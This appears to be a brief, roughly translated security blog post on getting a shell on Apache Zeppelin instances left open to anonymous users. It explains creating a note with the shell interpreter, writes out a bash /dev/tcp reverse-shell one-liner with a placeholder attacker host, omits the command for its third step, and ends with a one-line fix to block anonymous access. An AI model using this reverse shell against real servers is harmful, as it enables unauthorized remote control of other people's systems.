0x00 Preface
Apache Zeppelin is a web-based notebook that makes interactive data analysis feasible. Zeppelin provides a framework for data visualization.
Zeppelin is a web-based notebook that provides interactive data analysis. It is convenient for you to make exquisite documents that are data-driven, interactive, and collaborative, and supports multiple languages, including Scala (using Apache Spark), Python (Apache Spark), SparkSQL, Hive, Markdown, Shell, etc.
0x01 Vulnerability recurrence
The main reason is that unauthorized command execution loopholes are brought about. Direct dry goods to operate:
1、Create New Note：
To perform Linux bounce, use sh.
2. Execute the rebound command
bash -i &>/dev/tcp/xxxxxxx/xxxxx <&1
3. Or directly execute the command:
0x02 repair suggestion
Prohibit unauthorized access to anonymous accounts
Please indicate: Adminxe's Blog » Zeppelin unauthorized access to getshell